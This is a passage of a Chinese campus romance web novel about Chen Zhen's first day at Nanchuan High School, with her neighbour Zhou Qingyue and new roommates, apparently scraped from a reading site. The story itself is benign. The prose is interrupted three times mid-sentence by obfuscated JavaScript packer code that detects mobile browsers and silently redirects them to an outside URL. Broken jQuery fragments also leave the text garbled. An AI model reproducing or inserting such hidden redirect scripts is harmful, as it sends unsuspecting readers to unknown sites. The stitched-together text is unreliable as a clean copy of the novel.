陈真被他气到一字一顿道:“我今天开学。” 对面静默了几秒。 “……噢。” “你今天开学啊。” “那没事了,拜。” “你完了,张嘉泽。”陈真咬牙切齿道。 张嘉泽慌了:“陈真,你最好不要又来告状这一招啊。” “我就是要告状!我开学你不送就算了,你居然直接忘得一干二净。” “冷静一点。” “我就是要告诉爸妈,你现在求我还有机会。” “陈真你敢!” “我现在就给爸妈发消息,你看我敢不敢。” “停——”张嘉泽大喊一声,盖过陈真的声音。 “周清越在旁边吧?” “让他接电话。” 旁边的周清越靠在窗边,颇为无奈地吐了口气,接过电话:“喂。” “听我说,把手机放耳边,声音调最小。” “嗯。” “现在这个情形,只有你能救我了。” “所以?” 张嘉泽脸不红心不跳道:“要不你给她磕两个头?” “说不定她心情一好就不告状了。” “……” “好啊。”周清越答应下来。 “好兄弟啊,你不愧是我的好兄弟!” 然后他转头就和陈真说:“张嘉泽说要给你磕两个头。” 电话那头疯狂叫唤,可惜只有周清越能听到。 “哦——还有啊?”周清越一副认真听电话的样子。 接着转达:“他还说,不磕他是哈巴狗。” 那神情,真是看不出破绽,陈真将信将疑凑近周清越手里的手机,对对面的人说:“一言为定啊张嘉泽。” 电话那头传来张嘉泽极度无语的谩骂:“我草周清越!你——” 嘟—— 周清越直接点了挂断。 他把手机递给陈真,唇角溢出笑意:“嗯,一言为定。” - 司机也坐上车,一边系安全带一边问两人去哪。 “南川高中。”周清越回道。 不一会儿,车子发动。道路两旁的树一棵棵划过车窗,模糊出一路的葱郁绿意。 司机师傅看起来很和蔼,等红绿灯的时候聊起天:“你们今天开学啊?” “对。”陈真应道。 司机师傅笑呵呵地说:“能考上南川高中,看来你们两个是学霸嘛!” 南川高中是南川市公认的断层top1高中,每年的市状元几乎都来自于这里,家长学生之间更是流传着一句话:考上川高,半只脚已经踏进重点大学了。 陈真被夸得很开心,主动打开话匣子:“谢谢叔叔,其实我中考算是超常发挥了,擦着边进去的。” “那也厉害啊,能考上川高的都是人中龙凤。” 聊着聊着,司机师傅话锋一转,又问道,“你们认识?” 陈真抢答:“邻居。” “邻居啊,我看你俩互相不搭理的,还以为你们不熟。” 陈真望向窗外,压低声音,底气不足地小声道:“对啊,不熟。” 后脑勺感受到一阵视线,但陈真不敢回头看,假装看风景。 前面的红灯闪了几下,跳转成绿灯,车子重新行驶起来。 听到陈真的回答,司机师傅打趣问道:“你们是邻居怎么会不熟呢?” “我跟他玩不到一块去。” “合不来?” “对,他从小就只和我哥玩。而且他们俩从小就合伙欺负我。” “两个人都很坏。”陈真越说越起劲。“非常特别超级坏。” 身后的视线越发热烈,陈真觉得有些不舒服,眼眸转动悄悄看向前排的后视镜。 那个角度看不到周清越的神情,于是陈真又挪了挪位置,终于从镜子里看到看到他时—— 发现他早就抱胸看着镜子了。 那眼神,就像守候已久的狐狸抓住了兔子。 两人的眼神在镜子里交汇。陈真赶紧转过头,将车窗又按下去了一些。 风呼啸进来,吹起发丝,她靠在车窗上,莫名有点心虚。 身后传来周某人特欠揍的声音:“你很热吗?要不要不熟的邻居给你扇扇风?” “……” 算了,下次不惹他了。 - 在距离南川高中还有几百米的时候,路就已经走不动了。 “堵车了?”陈真探头去看前面的路况。马路两旁停满了车子,看不见一个空位,路中间更是堵得水泄不通,几分钟都挪不了一米,全是家长来送孩子开学的。 因为要拿行李物件,车子不得不停,这也导致道路大拥堵。好在有交警疏通道路,过了一会儿就能正常行驶了。 到了学校门口,鸣笛声、说话声、拖行李箱的声音交织在一块,混乱吵闹。陌生的环境,到处都是陌生的人,加上她还是个路痴,这种场景让她心底顿时涌起一股浓浓的不安感。 陈真拖着行李箱,赶紧跟上周清越,毕竟他是她在这唯一认识的人。 周围人流如织,不断穿过陈真旁边,她被撞了好几下,周清越走得很慢,但抵不过人多,两人总是被人流冲散。 陈真心底的忐忑不安越发浓重。 她小时候在动物园走丢过,还差点被人拐走,要不是有个好心的卖烤肠的阿姨发现不对,把陈真扣在她摊儿旁边,才吓走了人贩子,最后等到父母一把鼻涕一把泪的找过来。 当时她年纪小但是也记事,这件事直接给她烙下了阴影,从那以后,一旦碰到那种陌生或者人多的环境,总是控制不住的紧张难受,陈玉亭还经常唠叨陈真的路痴毛病可能就是从那时候开始的。 现在这个场景,让她脑海里不断闪现出小时候走丢的情形,一个人,孤立无援,迷茫无助,周围是走来走去的大人,但她全都不认识…… 无意识地放慢脚步,陈真一手拖着行李箱,另一只手手紧紧捏着衣角。 陈真,你可以的。 一定可以的。 要相信自己。 她不断地小声默念着,给自己打气。 可是脑海里像有一个黑色的漩涡,深不见底,无穷无尽,它快速旋转着,有一种不可抗拒的吸力,像是要把她整个人全部吸进去。 陈真的手越攥越紧。 呼吸越来越重。 她感觉意识在飘忽,她要被黑洞吸进去了,怎么挣扎都没用。 “陈真。” 直到有人叫了她一声。 声音传进她的耳朵,漩涡瞬间消失,把她从那个让人害怕的空间里抽离出去。 心跳渐渐平复。 她抬头,看见周清越站在她面前,影子覆盖在她身上。 他眼眸低垂着,静静望着她,好像想说什么,但抿抿唇,又什么都没说,只是走到她身后,伸手抓住她的书包带,像是安慰: “没事了,我在呢。” 陈真沉默地走在前面,周清越拉着她的书包带,两人一前一后走着。 他扯得很轻,肩膀感触到似有若无的拉扯感。 走了一段距离,周围依旧人山人海,陈真忽然闷闷地说道:“你这样好像在牵小狗。” 没想到她突然蹦出来这么一句话,周清越手一怔,愣了一下:“要不你也抓我的?” 陈真直接拒绝:“不要,那样好奇怪。” 周清越没再说什么,但也没放手,陈真甚至觉得他好像抓得更紧了一些。 他身上的香味很淡,雪松的冷冽后藏着柑橘的清淡涩感,若有似无地从身后扑过来,冲淡了周遭阳光的焦灼气味。 陈真一言不发地往前走。 走了几步,她又停下来,周清越也停下。 陈真退到他旁边,眼睛望向他,手捏住了他的衣角。 周清越静静看着她。 陈真转开视线,继续往前走,一边拉住衣角一边理直气壮找补道:“不能我一个人当小狗。” 他弯起嘴角:“哦。” - 南川高中开学报道的流程是先去宿舍放行李,然后再去自己的班级报道。男生公寓楼和女生公寓楼各有六栋,分别在不同的分区。 走到男生公寓区,周清越进去之后,陈真就站在门口等他,来来往往的都是男生,时不时向她投来一些目光。 在男生公寓门口等得无聊,空气也越来越热,陈真蹲在行李箱旁边,用手挡着阳光。心里数着数,356秒、357秒、358秒…… 突然有人叫她。 “陈真?” 一个熟悉的声音。 声音的主人长了一张风光霁月的脸,像初冬的月亮,又清又冷。 心跳漏了一拍,陈真抬起头:“林斯言?” 林斯言斜挎着一个阿迪达斯的背包,蹲下来与她平视,笑着打招呼:“哈喽陈真,好久不见。” 陈真低下头,假装不在意地应道:“嗯,好久不见。” “陈真你好高冷啊,都不搭理我们,只跟林斯言打招呼哦?”旁边一个男生调侃道。 这时陈真注意到林斯言旁边还有好几个男生,都是她初中认识的,也是林斯言的朋友,出于礼貌,陈真还是站起身跟他们都打了个招呼。 林斯言也站起来:“暑假约你出来玩,怎么一直拒绝啊?” 陈真想了想说:“因为我忙。” “那可是中考完的暑假啊,我都玩疯了,你怎么还在忙?”说话的是邓泽,他和林斯言初中就是最好的朋友,“我知道了,陈真你背着我们偷偷学高中的知识是吧?” 邓泽一副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周清越放下手机:“听懂了吗?” “我试试吧。”陈真抿抿嘴,给自己打气,总要迈出这一步的,大不了就是迷路了被送到宿管阿姨那。 也没什么丢人的。嗯。 算了,其实好像还是有点丢人。 没关系,大不了多问几次路。 心理挣扎了一阵,陈真准备拖上行李箱踏上征途,结果周清越拉着行李箱不放。 陈真疑惑的看向他:“干嘛?” “其实还有一个办法。”周清越说。 陈真在脑海里思索一阵,看了一眼那个“女生公寓,男生止步”的牌子,认真想了想,然后咽了咽口水,看着他,小心翼翼地问: “你难道想……男扮女装?” 周清越:“……?” 上下扫了他一遍,陈真义正词严:“虽然你有这个条件,但是这样是不对的,不能这样。” “……陈真。” “啊?” “我有时候真的很想知道,你脑子里装的都是什么? 陈真:“那什么方法,你说嘛。” 周清越没有回答,只是不知道从哪里拿出来一副墨镜,从容不迫地戴上。 到这里,陈真还是不知道他要干什么。 然后,下一秒,极其、非常、特别突然地—— 周清越提高音量:“有没有六公寓的同学?这边有个女生不识路。” 陈真被惊得差点一口水喷出来。 本来周清越站着女生公寓门口就已经很惹眼了,很多女生都在看他。 现在他一喊,更多人看过来了。 无数视线落在她身上,陈真想跑,结果发现行李箱还在周清越手里。 她又去抢行李箱,可是周清越这个狗!拉着不放手! “有没有人能把她带走?”他接着喊。 “有没有六公寓的?” 怪不得他还提前戴上墨镜,原来早就想好了这一招。 原来只有她一个人丢脸。 简直太丢脸了。 当情况坏到一个程度,那再坏还能坏到哪去。 既然已经这么丢人了,那干脆丢到底吧。 陈真淡定自若地一把抢过周清越的墨镜,戴在自己脸上,耍无赖谁不会似的,她也放开嗓子喊: “重金求六公寓领路人!” 她把周清越拉到面前:“酬劳为帅哥一位!” 那天阳光热烈,照射渲染了整个校园,整条林荫大道灿烂明亮,青春稚气的少年们拖着行李箱走向人生的新旅途,滑轮和地面摩擦出的声音没有停歇,就像火车轰隆隆驶入崭新的目的地。 但是陈真只记住了一个画面—— 周清越趴在她的行李箱上,他看着她,笑得直不起身,有些热的风吹起他的发丝,身后枝叶摇晃。 那是十五岁的夏天。 5. 五颗星星 就在她和周清越互相挖苦对方,越讲越停不下来的时候,有一个人戳了戳陈真的肩膀。 陈真转过身。 女生细眉弯眼,白白净净,蓝白校服衬得她肤色更白,像一朵枝头盛开的花蕊,纯洁清新。 她的声音轻轻的,很温柔:“你好,刚刚听见你们在找人对吗?我就是六公寓的,我们可以一起走。” 万万没想到,周清越的办法居然真的管用,陈真愣了一会儿才反应过来,她想把周清越拉过来,周清越却死活不肯。 陈真低声教育道:“你的美色不拿来用还有什么意义?” 周清越脑子挺清醒,反驳道:“为什么要被你用啊?” 陈真理直气壮:“那你想被谁用?” “……” 陈真秉承说到做到的原则,先跟女生道了谢,然后指了指周清越,对女生说:“为了表达感谢,这是酬劳。” 女生和周清越对视了一眼,才发现酬劳是什么,被惊得连退两步,连连摆手:“不、不用了……” _ 两人并排走着,穿过一栋又一栋宿舍楼,周围人声嘈杂,衬得她们两人之间莫名奇异的安静。 “……你好,我叫陈真。”陈真主动打破这个氛围。 女孩很腼腆,礼貌回复:“我叫许愿。” “许、愿。”陈真在嘴里念了这个名字,而后夸赞道,“你的名字好特别,很好听诶。” 许愿抿了抿嘴,嘴角弯起浅浅的笑:“谢谢,你的名字也很好听。” 聊到这,两人正好走到了六公寓楼下,两人一起走到二楼,又朝往一个方向去,陈真没忍住,问了许愿的宿舍,最后惊讶发现她们居然分到一个宿舍,这么小的概率,两人对都觉得是莫大的缘分。 相互对视,不约而同笑起来,莫名有了亲切感,比起刚刚的尴尬氛围顿时松泛多了。 找到211房间,推门进去,却一个人也没看见。 宿舍是上床下桌、独立卫浴带洗衣机的四人间,一号床被子枕头都铺好了,柜子也上了锁,应该是已经收拾好,去教室报道了。 四号床明显还没收拾,东西都堆在一块儿。 按理来说空了几个月,应该落满灰尘了,但宿舍的地板和门窗却出乎意料的干净。 陈真迟疑道:“难道有田螺姑娘?” 下一秒,阳台传来女生中气十足的声音:“退!退!退!啊啊啊别过来!” 陈真和许愿都看了对方一眼。 原来阳台还有人。 陈真刚准备进去看看什么情况,下一秒,阳台门砰地被推开。一个带着口罩,拿着扫把,惊慌失措的女生跑出来,和她们面面相觑。 三人都愣了几秒。 那个女生率先反应过来,跑向两人,大喊道:“舍友你们终于来了,快救我!” “怎么了?”陈真问。 那个女生指了指阳台里边:“窗户边有只蜘蛛!我怕蜘蛛!” 一听到蜘蛛两个字,陈真心里就直发毛,也怵得慌,就在她想着要不要克服一下心理压力,去解决掉那只蜘蛛时。一旁的许愿从容不迫地从包里抽出一张纸巾。 她走到那个女生旁边,柔声问:“在窗户边吗?” “对,”女生指了指,“在那,窗户旁边的墙上。” “好,我看到了。”许愿顺着女生指的方向,径直走过去。 她手里拿着纸巾,一脸淡定,然后沉着冷静地啪一声拍上去,接着握在手里,走到窗边。 她轻声道:“放你一条生路,下次别进来了。” 接着扔了出去。 那个女生和陈真都看呆了。 “天哪,你简直就是,”那个女生似乎在努力搜索着形容词,最后艰难想到一个,脱口而出,“金刚芭比!” 许愿洗着手,愣了愣:“啊?” 陈真被逗得笑个不停,好不容易停下来帮忙解释道:“她想夸你外柔内刚。” 那个女生连连点头,给陈真竖了个大拇指:“对对对!就是这个意思!” 三个人各自收拾着自己的床,边整理边聊天,也就互相知道了对方的名字。原来四号床的女生叫庞欣畅,宿舍这么干净整洁就是她刚刚打扫出来的。 “田螺姑娘受我一拜!”陈真本来跪在床上铺床垫,突然转向庞欣畅的方向就是一拜。 庞欣畅一副不敢当的神情:“陈姑娘客气了,庞某承受不起,快快请起!” 许愿一边铺床一边笑道:“你们怎么就演上了?” “我们这叫做结拜。”说着陈真又给庞欣畅拜了一个。 “不敢当不敢当。”庞欣畅又拜回去。 两个人你拜我,我拜你,许愿觉得自己很喜欢这个宿舍氛围,但是她不知道怎么融进去,保持距离和沉默才是她的舒适区,而她没有跨出去的勇气,于是一边整理床一边笑意盈盈地看着那两个像小学生一样幼稚的舍友,心里觉得暖暖的,莫名很开心。 拜累了趴床上,陈真忽然想起来:“一号床舍友还没见面呢。” 庞欣畅“腾——“一下坐起来,眉飞色舞讲述道:“这个我知道,一号床友友叫徐静宜,她人超级好,宿舍的扫把拖把这些都是她买的,而且她收拾得很快,弄好就去教室报道了。” “那我们建个微信群,把钱平摊一下吧。”许愿说。 “行啊,那我们去教找徐静宜。” 三人到教室里,庞欣畅找到了坐窗边的徐静宜,她带着一副黑框眼镜,梳着大光明的发型,丝绸面发箍把碎发都揽了上去,露出完整饱满的额头。 看见陈真几人,她扶了一下镜框,笑起来有两颗小虎牙:“你们好。” 一阵悠扬的上课铃钢琴声从广播传出,同学们都自觉地做回自己的位置。 庞欣畅顺势坐在徐静宜旁边,陈真和许愿则坐在她们两个后面。 等了一会,一个看着还挺年轻的男老师走进来。 班级里顿时窃窃私语。 因为他看起来不像老师,倒像个没睡醒的大学生,黑T恤,工装裤,发型略显凌乱。 陈真觉得这个老师身上有一种气质,一时半会说不上来,她想了好一会儿,终于发现,就是张嘉泽身上那种吊儿郎当的感觉。 大学生都是这种气质吗?好像也不对,因为这个老师肯定已经不是大学生了,而她哥还不是大学生,那总结起来,大学生应该是介于张嘉泽和这个老师之间的感觉。 “哈喽大家好,我是你们的班主任,同时也是你们的英语老师。”谢霖说道,声音也特别像大学生。 “只用一句话来自我介绍实在太简短了,但如果非要这样,那我用一句歌词来代替——虽然我很丑,但我很温柔。大家好,我是Clack,你们可以叫我的英文名克拉克,也可以叫我谢霖、谢哥、霖哥、谢老大都没问题。” 轻轻松松几句话,教室里气氛活跃不少,大家都被这个“非正常自我介绍”整得笑起来。 立马有人一脸好学的样子举手提问:“那老师,我们能不能叫你谢老师啊?” 谢霖搬张椅子坐在讲台上,浑身散发着松弛感:“随便啊,当然了,人在江湖身不由己,领导面前你们得乖乖叫老师,私底下嘛,咱们随便叫,叫我小霖都行,这个随你们开心。” 虽然说班主任允许,但是谁真的敢叫啊,除非胆大包天—— ”那小霖老师,你带我们多久啊?” 是庞欣畅前面的那个男生,他笑嘻嘻开口,毫不客气。 谢霖想了想,开口道:“不出意外呢,我们还要见很多次面。但是高一下学期要进行选科和重新分班,到时候还能不能见面就看缘分了,有缘的话我们还能见三年,没缘的话只能见一个学期了。” “当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562519|142778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然,咱们班在整个年级处于什么位置,大家应该都清楚。” 倒数第一吊车尾的位置,确实很清楚,明确得有些残忍。 “所以说实话,我其实希望我们没缘,你们都像小小鸟一样,飞啊飞啊飞得高高的,最好飞到五楼去,飞到28班去。” 南川高中贯彻成绩至上,连班级的楼层都体现出这一点,最差的一到七班分到人来人往、噪音最多的一楼,依次往上推,二楼、三楼、四楼……就像的牢固的围墙,划分出清楚的阶层和界限,最至高无上的五楼很自然地留给27和28两个特尖班。环境最好的五楼,只有这两个班,他们甚至可以各自占用两个教室,即使他们的人数最少。 教室里忽然安静下来,无形的压力落在每个人身上。 谢霖知道这些话说出口会造成这样的情形,但他觉得他必须说,在川高没有压力是不可能的,这些孩子们必须尽快适应,他能做的也只有在自己所能的范围内减少压力。 他清了清嗓,换了个语气,尽量轻快:“最后说一句,虽然我长的不帅,但大家也不要太快把我腻了,我有趣的灵魂是不会让大家失望的,OK,我就说这么多。” “接下来我们选个临时班干。” 啊?居然跳过自我介绍环节吗?这几乎是每个老师第一次见学生都要进行的流程,小霖老师他是不是忘记了? “Mr.Clack,我们不用自我介绍吗?”前桌的男生这次又换了个称呼,张嘴就问出很多人的疑惑同时也是不想面对的事情。 谢霖抬眼问道:“那有没有想主动自我介绍的同学?不强制,纯自愿。” 一个手高高举起来,还是那个不停问问题的男生。 他大大方方站起来,转了个身朝向全班:“我给大家说段相声。” 说着他居然拿出了一个快板,看来是早有准备:“本人名叫李明扬,家住南川东,要问我从哪里来,诶那是十七中,竹板这么一打啊,别的咱不夸,夸一夸我李明扬的相声顶呱呱!要问我为啥不说了,那是因为啊,我编不下去了!” 他看着是真编不下去了,竹板一放,开始正式自我介绍:“我姥爷爱打竹板,我耳濡目染就学了点皮毛,就在大家面前卖弄一下。重新介绍一下,我叫李明扬,木子李,明天的明,飞扬的扬,要问我有多爱打篮球,那就是我愿意被篮球打。” 大家顿时哄笑一片。 “就这么多,谢谢大家。” 李明扬开了个好头,原本大家都想着自我介绍这个尴尬的环节能躲过去就躲过去,现在氛围轻松,许多人也愿意试一试。 好几个人一一做了自我介绍,有表演吹口哨的,有讲童话故事的,还有一个说他最大的爱好是擦黑板,说着拿起黑板擦就擦掉了班主任刚写上去的晚自习作业,弄得一旁的谢霖哭笑不得。 反正走向是越来越搞笑,越来越奇葩。 陈真本来也想上去凑个热闹,但无奈她的爱好都不太方便表演,就拿跆拳道来说,总不能拉着自己的椅子表演一个飞腿碎凳吧,那她之后坐哪?还有吹长笛,没带乐器也表演不了,爱看的漫画好像又不太方便说出口,所以干脆就不参加了。 最后选举班长,毫不意外地,大家都选了那个说相声的李明扬,陈真和许愿商量了一下,也一致认为他是班长的不二人选,有带动班级氛围的能力,为人又有趣,行为举止大大方方,不选这样的人选谁。 “既然刚刚爱好擦黑板的同学已经把今晚的作业擦掉了,那——” “今晚就好好玩吧。” 芜湖—— 大家都特别惊喜,欢呼声一浪接着一浪。 “最后一件事,”谢霖卖关子似的停顿了一下,然后笑着说,“今天大家就好好休息,明天一早,我们就坐车去南川市国防基地,正式开始——军训!” 教室里的欢呼雀跃顿时变成哀鸿遍野。 6. 六颗星星 班主任和班长一起发放了军训服。按照小霖老师交代,班长说今天下午要完成两件事,一是检查宿舍有无损坏物件,及时上报,过期不候;二是教室大扫除,他效率很高,已经把分工名单写好了。 “检查寝室的物品有没有损坏,没有的话签字了,舍长过来签!” 从宿舍出来得急,陈真三人都没想到这件事,没有检查宿舍的物品,此时商量着要不要再回去一趟。 南川高中不仅是整个市最大的高中,甚至可以说是整个省占地面积最广的高中,单说一个博雅广场,从头到尾至少要走十五分钟,一眼望不到边。其他区域也贯彻了南高的宏大气派,篮球场、网球场、游泳馆、体育馆都极其的大。从教学楼走到宿舍楼,起码也要十几分钟。 用学校贴吧的一句话说,地广钱多,川高就是这么豪横。至于南川高中怎么这么有钱,说到底是历史底蕴深厚,历届学子极其给力,校友中许多人毕业后功成名就想着回报母校,没钱的也要捐棵树,有钱的直接捐个教室什么的,这都是常有的事。 “难不成又要走回宿舍一趟?”庞欣畅叹气,“腿都要抡冒烟了。” “不用回去的,”一直没说话的徐静宜微微侧过身,对旁边的庞欣畅还有后桌的许愿、陈真说,“我都检查过了,洗衣机,空调,电风扇,灯,门窗,门锁,桌椅,床架都没有问题。” 三人都静了一下,庞欣畅突然一个熊抱把徐静宜揽进怀里:“爱死你了!” “签字要舍长去,那你就当我们的舍长吧!”庞欣畅提议道。 “臣附议。” “臣也附议。” 徐静宜扶了扶镜框,有些犹豫:“我吗?我还没当过舍长呢,怕当不好。” 尽管徐静宜不太有信心,但经不住另外三人的软磨硬泡,最后还是毅然决然担下了舍长位置, 大扫除分配是按照宿舍分的,所以陈真她们宿舍正好分到一块,负责走廊的拖地扫地和擦走廊栏杆。 整栋明德楼都是高一新生,现在每个班级几乎都开始大扫除,楼里一片喧腾热闹,穿着校服的男生女生手里都拿着劳动工具,有在认真打扫的,也有聊天聊得热火朝天,扫把都扔一边的。 走廊上的行人来来往往,陈真停下拖地,目视着班长第八次走过她刚拖好的地板。 刚拖过的地板还有水渍,班长踩着湿水的地板走来走去,一步一脚印,他走一次陈真就要再拖一次。一次两次的,没什么,大不了忍忍。 但,这是第八次了。 李明扬被她看得有点发怵,保证道:“不踩了不踩了。” 陈真看着他,不说话。 下一秒,李明扬又注意到什么,对着走廊另一头大喊:“哎哎哎!别踩到那张签名表!” 他又想踩地板过去,但又被陈真的眼神逼退,双眼盯着那边,两只脚脚想抬起来却又不敢迈出去,急得要跳踢踏舞。 最后在陈真的注视下,他直接纵身一跃,以跳远的姿势跳了过去。 陈真看懵了。 旁边观看了整个过程的庞欣畅拿着抹布,走到陈真旁边,看着班长操劳的背影,佩服道:“人才啊。” 陈真点点头,表示赞同。 整个假期差不多两个月,走廊的天花板上积了大大小小的蜘蛛网。拖完地,擦完栏杆,陈真找来扫把,开始打扫天花板。 班长可能因为刚刚的事情良心不安,主动跑过来帮忙,陈真也不客气,心安理得把扫把交到李明扬手上。 因为扫把不够长,所以要踩在桌子上,举着扫把才能够到天花板,于是陈真和许愿负责扶着桌子,李明扬踩上去打扫蜘蛛网。 一个角落的蜘蛛网打扫完了,李明扬准备下去,等陈真和许愿挪一下地方再上去。 右边一直都放着一张椅子,所以他下意识以为那张椅子还在,因此也没低头看,一只脚直接踩了下去。 谁知那张椅子不知被谁中途拿走了,旁边的许愿望着走廊的另一端愣神儿,完全没注意到李明扬要下来。站在左边的陈真又正好视线盲区,看不到那张椅子在不在。 结果就是李明扬一脚踩空摔下去。 好在他反应快,及时调整姿势,缓冲了一下,摔得没那么重。 陈真被吓了一跳,许愿也马上回过神来,两人赶忙上去扶住他。 噼里啪啦一顿响,这不小的动静成功吸引到了走廊另一端的两个人。 周清越和林亦阳一起下楼去老师办公室交表格,他们刚从办公室出来一会儿,就听见走廊那端传来一阵叫声和桌椅摩擦声。 周清越下意识看过去,看见了陈真,心里一紧,不会是她摔了吧。 “我过去看看。”他对谢白说。 谢白本来已经挪开了视线,听见他的话,才又看向那边,跟着他走过去:“行,那一起吧。” 周清越看见陈真和几个女生围着一个男生,那个男生坐在地上,一阵哀嚎。 “哎哟我滴波棱盖……” “哎哟我滴腰间盘……” “哎哟我滴胯胯轴……” 陈真注意力全在那个男生身上,压根没看到他在旁边。 于是他听见陈真对那个男生说:“再喊腿给你打断!” 好凶狠的安慰方式,周清越想,确实是陈真的作风。 原本叫唤的男生立马安静了。 “到底哪疼?”陈真眉头微皱,语气认真,担心地问。 那男生昂起脸:“其实都不疼,我就喊喊。” …… 陈真气郁到一时失语。 “噗——”一旁看戏的周清越忍不住笑出来。 陈真这才发现周清越不知道什么时候过来的,但她现在没精力搭理他,象征性看他一眼,然后回头扶李明扬起来。 虽然他说不疼,但陈真也是长眼睛的,从那么高的地方突然摔下来,不可能一点事没有,虽然李明扬现在嬉皮笑脸的,但刚刚疼得直皱眉她都看在眼里。 “我送你去医务室。”陈真说。 “不用不用!” 下一秒李明扬就疼得“嘶——”一声,短促有力,可见十分的痛,他低头看向始作俑者——那个不认识的大帅哥不知道什么时候蹲下来,毫不客气地按了按他扭伤的脚踝关节,还一脸特无辜的表情看着他,弄得他一时之间也不知该说什么。 “这不挺疼的吗?”周清越站起身,把李明扬搭在陈真肩膀上的手臂拿下来,十分自然地勾到自己身上,“我带你去医务室。” 陈真也没阻拦,倒不是她扶不动李明扬,而是在高中这个对异性接触十分敏感的地方,她扶着一个男生多少有些不方便,要是遇见较真的老师,还要解释事情的来龙去脉,想想就麻烦。 “别看热闹了,还不快点过来帮忙。”周清越瞥了一眼旁边站着的谢白,踹了他一脚。 陈真现在才注意到谢白在旁边,他和周清越从小就认识,是从小玩到大的朋友,他俩在一家琴行练琴,周清越拉大提琴,他弹钢琴。不得不承认,谢白身上挺有钢琴手的气质的,从内到外。 这俩人能玩到一块儿去也不无原因,他俩都挺傲的,但又不是一种感觉,周清越的傲带点犯贱的性质,至于谢白,他是真看不起人,有种颇为高贵的傲慢感。 不知道他的优越感从哪来的。 陈真盯着谢白看了一会,挪开视线。 谢白轻轻蹙起眉,如果他没看错,陈真是在打量他吧,还是那种越看越嫌弃的神情,还摇了摇头? 这个人,就算讨厌他也起码装一装,不用表现得这么明显吧? 要不是中间有个周清越,他真是看见陈真这尊大佛都要绕道走。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562520|142778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“看什么,快来扶人。”在周清越眼里,这两个人你看我,我看你,表情都还挺丰富,想想就来气。 “哦。”谢白终于抬起他金贵的脚,朝周清越走去,没好气道,“你还真是乐于助人。” - 人是周清越送回来的。 李明扬刚回来,就找到陈真她们说起他在医务室的惊奇际遇。 按照他的说法,他被两个大帅哥左右搀扶着走到了医务室,医生说他的脚没大碍,擦点膏药就能好,可是他没带钱,是周清越帮他掏的。买完膏药,周清越就把他按到走廊的座椅上,然后居然蹲下来帮他给脚踝擦药。 边擦还边嘱咐他一些注意事项,走回来的路上还给他买了一瓶冰的矿泉水,跟他说冷敷可以缓解疼痛。 “我靠你们谁懂?那么一个大帅逼蹲下来帮我擦药,靠!” “啊?我想想,我问了的,对!帅哥说他叫周清越。” “而且他还是二十八班的学霸。” …… 怎么办,班长好像成了周清越在一班的宣传大使。 _ 晚上十点多,洗漱完,211宿舍都上床休息了。 像是想起什么,趴在床上的庞欣畅突然开始回味今天的事情:“我要查查今天狮子座的运势是不是特别好。” “啊?”许愿放下手里的kindle,不解地问,“怎么突然想起来查这个?” 庞欣畅更来劲了:“因为今天看见了帅哥啊,而且还是两个!今天星座运势一定非常不错。” 颜控少女最大的乐趣就是看帅哥,何况还是大帅哥! “没有手机怎么查?”徐静宜的关注点总是比较特别。 她们这帮住宿生手机都被收上去了,只有周末才能重新拿到。川高对于电子产品管得严,像许愿这样偷偷留个kindle用来晚上看书的行为已经算很大胆了。 “对哦。” “对了——”庞欣畅撑着下巴,朝向对面的陈真,一脸好奇,“陈真你和周清越到底什么关系啊?” 陈真把小兔子玩偶认真地摆在枕头边,随口回答:“我们就是邻居而已。” 庞欣畅是直性子,怎么想的就怎么问:“那你喜欢他吗?” 陈真顿了一下,然后拿起小梳子给小兔子梳毛,淡淡地说:“我怎么可能喜欢他,你们不要被他的外表欺骗了。” “可是他的声音也好听啊。”许愿起哄说。她今天和陈真相处了一天,已经能跟她开玩笑了,她喜欢这种心一步步靠近的过程。 陈真苦口婆心:“你们不要被他的声音迷惑了。” “可是他的手也好看诶。”许静宜也加入进来。 不是,到底是怎么在那么短暂的时间内看出他的手好不好看的啊? “……你们不要被他的手迷惑了。” “可是他的喉结也——”” “喂喂喂喂喂!”陈真受不了了,再这么聊下去还得了?只能赶紧叫停,“总而言之,你们不要被他这个人迷惑了。” “那如果我愿意的话,他会来迷惑我吗?”庞欣畅双手捧着脸,笑得特别开心。 “……” 真是一个好问题。 “我愿意被他迷惑。” “我也愿意。” 陈真语塞。 服了,一宿舍色鬼。 砰—— 宿舍瞬间陷入一片黑暗——熄灯时间到了。 原本嘈杂的宿舍楼渐渐安静下来,乌黑的天空只有一弯月亮挂在上面,窗外的蝉叫缓慢而规律地一声声穿透寂静的黑夜。 一片漆黑与安静中,陈真的声音突然响起。 “我跟你们说个秘密吧。” 她刻意压低了声线,但在黑夜里各外明晰—— “我其实有一个喜欢的人。” 7. 七颗星星 “啊啊啊——是谁!” 庞欣畅一不小心激动地喊出声,立马就被巡查的宿管阿姨敲门警告。 手电筒的光和阿姨的严厉的声音一同穿门而入。 “211宿舍搞什么?这么晚了在喊什么?!” “嘘——” 伸手不见五指的黑暗中,四人都保持默契的安静,直到听见宿管阿姨的脚步声走远。 